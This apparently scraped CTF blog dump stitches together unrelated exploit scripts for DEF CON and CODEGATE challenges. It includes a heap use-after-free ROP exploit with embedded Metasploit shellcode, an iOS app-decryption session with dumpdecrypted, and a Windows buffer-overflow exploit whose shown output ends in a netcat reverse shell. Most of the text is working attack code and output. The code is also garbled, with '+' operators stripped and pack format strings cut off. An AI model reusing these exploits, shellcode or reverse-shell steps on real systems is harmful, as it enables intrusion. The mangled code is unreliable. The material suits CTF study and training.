#!/usr/bin/env python

import subprocess, os, tempfile

from ctypes import *

import os

from socket import *

import time

import struct

# from pyasm import Program

# from pyasm.instructions import push, mov, ret, pop

# from pyasm.registers import eax, esp, ebp

from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits

p= lambda x: struct.pack("

PAGE_SIZE = 4096

class AssemblerFunction(object):

def __init__(self, code, ret_type, *arg_types):

# Run Nasm

fd, source = tempfile.mkstemp(".S", "assembly", os.getcwd())

os.write(fd, code)

os.close(fd)

target = os.path.splitext(source)[0]

subprocess.check_call(["nasm",source])

os.unlink(source)

binary = file(target,"rb").read()

os.unlink(target)

bin_len = len(binary)

# align our code on page boundary.

self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)

addr = (addressof(self.code_buffer) PAGE_SIZE) & (~(PAGE_SIZE-1))

memmove(addr, binary, bin_len)

# Change memory protection

self.mprotect = cdll.LoadLibrary("libc.so.6").mprotect

mp_ret = self.mprotect(addr, bin_len, 4) # execute only.

if mp_ret: raise OSError("Unable to change memory protection")

self.func = CFUNCTYPE(ret_type, *arg_types)(addr)

self.addr = addr

self.bin_len = bin_len

def __call__(self, *args):

return self.func(*args)

def __del__(self):

# Revert memory protection

if hasattr(self,"mprotect"):

self.mprotect(self.addr, self.bin_len, 3)

def mov(data):

result = []

data = data.split("\n")

for i in data:

if "=" in i:

tmp = i.split('=')

result.append("mov " tmp[0] ", " tmp[1])

return "\n".join(result)

if __name__ == "__main__":

ip = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me"

port = 9999

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

lst = []

inst = s.recv(1024)

# print inst

instructions = s.recv(1024).split("\n")[2]

print instructions

print instructions.encode("hex")

l = Decode(0, instructions, Decode64Bits)

t_ins = ""

for i in l:

t_ins = i[2] "\n"

movs = mov(inst)

# print movs

# print t_ins

result = "****Initial Register State****\n"

result = ""

registers = ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"]

for i in registers:

add_func = """BITS 64\n""" movs "\n" t_ins.replace("RET\n", "") """mov rax, """ i """

ret

"""

print add_func

Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)

result = i "=" str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) "\n"

result = result.replace("L", "")

s.send(result)

print result

print s.recv(1024)

"""

rax=0x9c8982fc3b5cfae9

rbx=0x20223acc7e6949cb

rcx=0x3a46c99c

rdx=0xd5239501c5b48bd

rsi=0xbabfac6bbf67bbfd

rdi=0xe8fb6dcfe0000000

r8=0xcde6d06e980dd1ce

r9=0x339f0bb7dee53e3e

r10=0x23a769fd87124021

r11=0x2cb79cbedc86431f

r12=0x4d32ab24658d00be

r13=0x7dab448d20a82708

r14=0x3c8b784c

r15=0x43ccf3fcf39883c6

The flag is: Cats with frickin lazer beamz on top of their heads!

"""

import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re

shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)

ip = "200.200.200.5"

port = 1337

ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))

eip = 1

eip1 = 1

eip2 = 1

def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result

def s(a):

ss.sendall(a)

def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")

def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")

def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8

def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()

s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index

def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")

def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()

def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix

ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000

result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)

result = p(virtual_space 20)

return result

################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1

data = view(2) # infoleak

print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1

put_gadget(payload(baseaddr), 6)

################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)

#Exploit

from socket import *

import struct

import os

p = lambda x : struct.pack("

ip = "0.0.0.0" # blind

port = 31337

print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result

#def s(s, a):

# s.sendall(a)

print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)

s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)

s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]

point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))

s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)

s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)

s.sendall("3\n") # create vuln object

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)

s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)

s.sendall("0\n") # back to main menu

print r(s)

s.sendall("4\n") # show list

print r(s)

s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ git clone git://github.com/stefanesser/dumpdecrypted

Cloning into 'dumpdecrypted'...

remote: Counting objects: 31, done.

remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31

Receiving objects: 100% (31/31), 6.50 KiB | 0 bytes/s, done.

Resolving deltas: 100% (15/15), done.

Checking connectivity... done.

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ ls

dumpdecrypted

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ cd dumpdecrypted/

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ make

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c -o dumpdecrypted.o dumpdecrypted.c

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c dumpdecrypted.dylib dumpdecrypted.o

sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ scp ./dumpdecrypted.dylib root@[192.168.0.44]:/var/root

The authenticity of host '192.168.0.44 (192.168.0.44)' can't be established.

RSA key fingerprint is 7b:dd:df:de:4c:3d:cb:93:04:91:b2:99:88:37:6e:c3.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.44' (RSA) to the list of known hosts.

root@192.168.0.44's password:

dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00

hyeonseong-won-ui-iPad:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname mach-o decryption dumper

mach-o decryption dumper

DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.

[ ] detected 32bit ARM binary in memory.

[ ] offset to cryptid found: @0xb9a08(from 0xb9000) = a08

[ ] Found encrypted data at address 00004000 of length 13877248 bytes - type 1.

[ ] Opening /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname for reading.

[ ] Reading header

[ ] Detecting header type

[ ] Executable is a plain MACH-O image

[ ] Opening appname.decrypted for writing.

[ ] Copying the not encrypted start of the file

[ ] Dumping the decrypted data into the file

[ ] Copying the not encrypted remainder of the file

[ ] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset a08

[ ] Closing original file

[ ] Closing dump file

hyeonseong-won-ui-iPad:~ root# ls

Application Support appname.decrypted Library dumpdecrypted.dylib

Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]

sub_401000 proc near

var_4= dword ptr -4

push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;

sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn

signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16

v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}

#exploit.py

from socket import *

import threading

import time

import struct

up = lambda x : struct.unpack("

p = lambda x : struct.pack("

def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result

def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result

ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp

if len(ptr) == 3:

ptr = "\x00"

print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)

s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)

s.close()

C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>

[ ] Input Vulnerability Title :

[ ] Input Details about your 0-day:

[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>

70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :

C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC

K:\prob_server 디렉터리

2014-11-09 오후 09:02